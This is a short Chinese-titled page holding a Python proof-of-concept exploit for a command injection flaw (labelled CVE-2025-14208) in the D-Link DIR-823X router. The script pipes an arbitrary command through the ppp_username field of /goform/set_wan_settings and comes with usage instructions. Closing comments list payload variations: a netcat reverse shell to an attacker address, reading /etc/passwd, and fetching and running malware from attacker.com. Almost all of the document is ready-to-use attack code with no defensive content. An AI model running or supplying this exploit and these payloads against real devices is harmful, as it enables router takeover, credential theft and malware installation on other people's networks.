CVE-2025-14208 D-Link DIR-823X路由器命令注入漏洞

import requests import sys # CVE-2025-14208 PoC - D-Link DIR-823X Command Injection # Target: D-Link DIR-823X router # Vulnerability: Command injection in /goform/set_wan_settings via ppp_username parameter def exploit(target_ip, command): """ Exploit command injection vulnerability in D-Link DIR-823X Args: target_ip: Target router IP address command: Command to execute on the target Returns: Response from the target """ url = f"http://{target_ip}/goform/set_wan_settings" # Payload construction with command injection # Using pipe operator to chain commands payload = f"| {command}" data = { "ppp_username": payload, "ppp_password": "test", "wan_type": "pppoe", "wan_ipaddr": "", "wan_netmask": "", "wan_gateway": "", "wan_dns1": "", "wan_dns2": "" } try: response = requests.post(url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-14208.py <target_ip> <command>") print("Example: python cve-2025-14208.py 192.168.0.1 'ls -la /'") sys.exit(1) target_ip = sys.argv[1] command = sys.argv[2] print(f"[*] Targeting D-Link DIR-823X at {target_ip}") print(f"[*] Executing command: {command}") result = exploit(target_ip, command) print(f"[+] Response:\n{result}") if __name__ == "__main__": main() # Additional PoC variations: # Reverse shell: | nc -e /bin/sh <attacker_ip> <port> # File read: | cat /etc/passwd # Download and execute: | wget http://attacker.com/malware -O /tmp/m && chmod +x /tmp/m && /tmp/m